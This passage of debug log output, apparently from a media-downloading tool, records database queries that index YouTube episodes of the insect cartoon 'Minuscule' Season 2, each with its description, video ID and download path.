false, 5, "https://www.youtube.com/watch?v=_WJlo33fRUg", "/downloads/Miniscule Season 2/2017-10-02 Minuscule - Compilation #8/Minuscule - Compilation #8 [_WJlo33fRUg].mp4", false, ~U[2017-10-02 15:00:06Z]] 22:15:47.717 [debug] QUERY OK source="sources" db=0.6ms idle=9.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.719 [debug] QUERY OK source="media_items" db=0.8ms idle=8.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-13 15:30:02Z], 5] 22:15:47.722 [debug] QUERY OK source="media_items" db=2.1ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA reckless and macho butterfly is interested in a female butterfly that is sitting on a crossroad sign. But between the butterfly and its ladylove: a road with very dense traffic.\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hop on! / Hop là! (Season 2)", "3fcc0d52-9550-4921-b787-046b353f1d5c", "QDvHirWhvK8", 286, false, 5, "https://www.youtube.com/watch?v=QDvHirWhvK8", 109, "/downloads/Miniscule Season 2/2020-02-13 Minuscule - Hop on! ⧸ Hop là! (Season 2)/Minuscule - Hop on! ⧸ Hop là! (Season 2) [QDvHirWhvK8].mp4", false, false, false, [], 1, ~U[2020-02-13 15:30:02Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA reckless and macho butterfly is interested in a female butterfly that is sitting on a crossroad sign. But between the butterfly and its ladylove: a road with very dense traffic.\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Hop on! / Hop là! (Season 2)", "QDvHirWhvK8", 286, false, 5, "https://www.youtube.com/watch?v=QDvHirWhvK8", "/downloads/Miniscule Season 2/2020-02-13 Minuscule - Hop on! ⧸ Hop là! (Season 2)/Minuscule - Hop on! ⧸ Hop là! (Season 2) [QDvHirWhvK8].mp4", false, ~U[2020-02-13 15:30:02Z]] 22:15:47.723 [debug] QUERY OK source="sources" db=0.5ms idle=10.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.724 [debug] QUERY OK source="media_items" db=0.8ms idle=7.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-02-06 15:30:04Z], 5] 22:15:47.727 [debug] QUERY OK source="media_items" db=2.1ms idle=7.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA huge net prevents a group of mosquitoes from reaching a potential victim. Will one mosquito manage to breach the net?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Mosquito net / Moustiquaire (Season 2)", "b780d904-9fea-471b-82ae-25d26739eb1c", "rK-QYWVVx3Y", 119, false, 5, "https://www.youtube.com/watch?v=rK-QYWVVx3Y", 110, "/downloads/Miniscule Season 2/2020-02-06 Minuscule - Mosquito net ⧸ Moustiquaire (Season 2)/Minuscule - Mosquito net ⧸ Moustiquaire (Season 2) [rK-QYWVVx3Y].mp4", false, false, false, [], 1, ~U[2020-02-06 15:30:04Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA huge net prevents a group of mosquitoes from reaching a potential victim. Will one mosquito manage to breach the net?\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Mosquito net / Moustiquaire (Season 2)", "rK-QYWVVx3Y", 119, false, 5, "https://www.youtube.com/watch?v=rK-QYWVVx3Y", "/downloads/Miniscule Season 2/2020-02-06 Minuscule - Mosquito net ⧸ Moustiquaire (Season 2)/Minuscule - Mosquito net ⧸ Moustiquaire (Season 2) [rK-QYWVVx3Y].mp4", false, ~U[2020-02-06 15:30:04Z]] 22:15:47.729 [debug] QUERY OK source="sources" db=0.4ms idle=9.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.730 [debug] QUERY OK source="media_items" db=0.8ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-30 15:30:04Z], 5] 22:15:47.732 [debug] QUERY OK source="media_items" db=1.9ms idle=6.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nFlies in a red toy bus and a spider in a yellow toy car have an exciting race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Mad fly / Mad mouche (Season 2)", "af5dc325-a268-4c56-9a80-8e3f46d43d7f", "sK3l9nOuyDs", 119, false, 5, "https://www.youtube.com/watch?v=sK3l9nOuyDs", 111, "/downloads/Miniscule Season 2/2020-01-30 Minuscule - Mad fly ⧸ Mad mouche (Season 2)/Minuscule - Mad fly ⧸ Mad mouche (Season 2) [sK3l9nOuyDs].mp4", false, false, false, [], 1, ~U[2020-01-30 15:30:04Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nFlies in a red toy bus and a spider in a yellow toy car have an exciting race.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Mad fly / Mad mouche (Season 2)", "sK3l9nOuyDs", 119, false, 5, "https://www.youtube.com/watch?v=sK3l9nOuyDs", "/downloads/Miniscule Season 2/2020-01-30 Minuscule - Mad fly ⧸ Mad mouche (Season 2)/Minuscule - Mad fly ⧸ Mad mouche (Season 2) [sK3l9nOuyDs].mp4", false, ~U[2020-01-30 15:30:04Z]] 22:15:47.734 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=8.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.735 [debug] QUERY OK source="media_items" db=0.9ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-23 15:30:00Z], 5] 22:15:47.738 [debug] QUERY OK source="media_items" db=1.9ms idle=6.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Honey fly / Mouche à miel (Season 2)", "a3186bc0-b2b0-4a72-b9f7-24fad7b78d75", "AkyZVhpGpvY", 299, false, 5, "https://www.youtube.com/watch?v=AkyZVhpGpvY", 112, "/downloads/Miniscule Season 2/2020-01-23 Minuscule - Honey fly ⧸ Mouche à miel (Season 2)/Minuscule - Honey fly ⧸ Mouche à miel (Season 2) [AkyZVhpGpvY].mp4", false, false, false, [], 1, ~U[2020-01-23 15:30:00Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Honey fly / Mouche à miel (Season 2)", "AkyZVhpGpvY", 299, false, 5, "https://www.youtube.com/watch?v=AkyZVhpGpvY", "/downloads/Miniscule Season 2/2020-01-23 Minuscule - Honey fly ⧸ Mouche à miel (Season 2)/Minuscule - Honey fly ⧸ Mouche à miel (Season 2) [AkyZVhpGpvY].mp4", false, ~U[2020-01-23 15:30:00Z]] 22:15:47.739 [debug] QUERY OK source="sources" db=0.5ms idle=8.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.740 [debug] QUERY OK source="media_items" db=1.3ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-16 15:30:01Z], 5] 22:15:47.749 [debug] QUERY OK source="media_items" db=7.8ms idle=7.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA frantic pursuit between flies and a ladybug. Same old, same old. Except that today, the ladybug is as big as a football, and a gang of huge ladybugs is flying along as back-ups. The flies had better behave.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Fly hunting / Chasse à mouche (Season 2)", "723c937a-2b54-424e-be15-39c8a394e750", "T3IcOeZuKHo", 282, false, 5, "https://www.youtube.com/watch?v=T3IcOeZuKHo", 113, "/downloads/Miniscule Season 2/2020-01-16 Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2)/Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2) [T3IcOeZuKHo].mp4", false, false, false, [], 1, ~U[2020-01-16 15:30:01Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nA frantic pursuit between flies and a ladybug. Same old, same old. Except that today, the ladybug is as big as a football, and a gang of huge ladybugs is flying along as back-ups. The flies had better behave.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Fly hunting / Chasse à mouche (Season 2)", "T3IcOeZuKHo", 282, false, 5, "https://www.youtube.com/watch?v=T3IcOeZuKHo", "/downloads/Miniscule Season 2/2020-01-16 Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2)/Minuscule - Fly hunting ⧸ Chasse à mouche (Season 2) [T3IcOeZuKHo].mp4", false, ~U[2020-01-16 15:30:01Z]] 22:15:47.750 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.751 [debug] QUERY OK source="media_items" db=0.9ms idle=12.8ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-09 15:30:00Z], 5] 22:15:47.755 [debug] QUERY OK source="media_items" db=2.1ms idle=13.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant is carrying a crisp, which wasps soon snatch. After a mad race and a bad fall, our little bug wakes up in a strange universe, where crisps are actually alive.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Patatas fritas (Season 2)", "77773748-fa72-4be4-9b35-4ab75cea41ef", "1eojPRKb7bU", 295, false, 5, "https://www.youtube.com/watch?v=1eojPRKb7bU", 114, "/downloads/Miniscule Season 2/2020-01-09 Minuscule - Patatas fritas (Season 2)/Minuscule - Patatas fritas (Season 2) [1eojPRKb7bU].mp4", false, false, false, [], 1, ~U[2020-01-09 15:30:00Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nAn ant is carrying a crisp, which wasps soon snatch. After a mad race and a bad fall, our little bug wakes up in a strange universe, where crisps are actually alive.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - Patatas fritas (Season 2)", "1eojPRKb7bU", 295, false, 5, "https://www.youtube.com/watch?v=1eojPRKb7bU", "/downloads/Miniscule Season 2/2020-01-09 Minuscule - Patatas fritas (Season 2)/Minuscule - Patatas fritas (Season 2) [1eojPRKb7bU].mp4", false, ~U[2020-01-09 15:30:00Z]] 22:15:47.756 [debug] QUERY OK source="sources" db=0.4ms idle=14.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:15:47.757 [debug] QUERY OK source="media_items" db=0.9ms idle=7.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2020-01-02 15:30:02Z], 5] 22:15:47.760 [debug] QUERY OK source="media_items" db=2.0ms idle=7.2ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","source_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "source_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn the snowy mountains, a small black spider finds it hard to carry a huge pine cone. She decides to build a suitable means of transportation.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The sled and the ant / La luge et la fourmi (Season 2)", "fbae2358-3155-48d5-9fc5-2b9178170a1a", "hJclg-5FVEw", 119, false, 5, "https://www.youtube.com/watch?v=hJclg-5FVEw", 115, "/downloads/Miniscule Season 2/2020-01-02 Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2)/Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2) [hJclg-5FVEw].mp4", false, false, false, [], 1, ~U[2020-01-02 15:30:02Z], ~U[2025-12-12 05:15:47Z], ~U[2025-12-12 05:15:47Z], "ABONNEZ-VOUS ICI / SUBSCRIBE HERE : http://bit.ly/1cPzvQP \n\nIn the snowy mountains, a small black spider finds it hard to carry a huge pine cone. She decides to build a suitable means of transportation.\n\n---\nThe official channel of the cartoon and the movie Minuscule. \n\nMINUSCULE revolves around the day-to-day existence of insects which are presented in burlesque situations, with a fair amount of philosophical contemplation thrown in. A cross between a Tex Avery cartoon and a National Geographic documentary !\n\nLa chaîne officielle de la série et du film Minuscule. \n\nBurlesque, décalée et poétique, Minuscule est une rencontre improbable entre Microcosmos et Tex Avery. \nCe docu-cartoon qui cultive l’impertinence et multiplie les références cinématographiques, dépeint dans des décors réels les aventures délirantes d’insectes en images de synthèse.\n\nFacebook : http://on.fb.me/1draLOR #Minuscule #MinusculeVideos #InsectCartoons", "Minuscule - The sled and the ant / La luge et la fourmi (Season 2)", "hJclg-5FVEw", 119, false, 5, "https://www.youtube.com/watch?v=hJclg-5FVEw", "/downloads/Miniscule Season 2/2020-01-02 Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2)/Minuscule - The sled and the ant ⧸ La luge et la fourmi (Season 2) [hJclg-5FVEw].mp4", false, ~U[2020-01-02 15:30:02Z]] 22:15:47.761 [debug] QUERY OK source="sources" db=0.6ms idle=9.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE 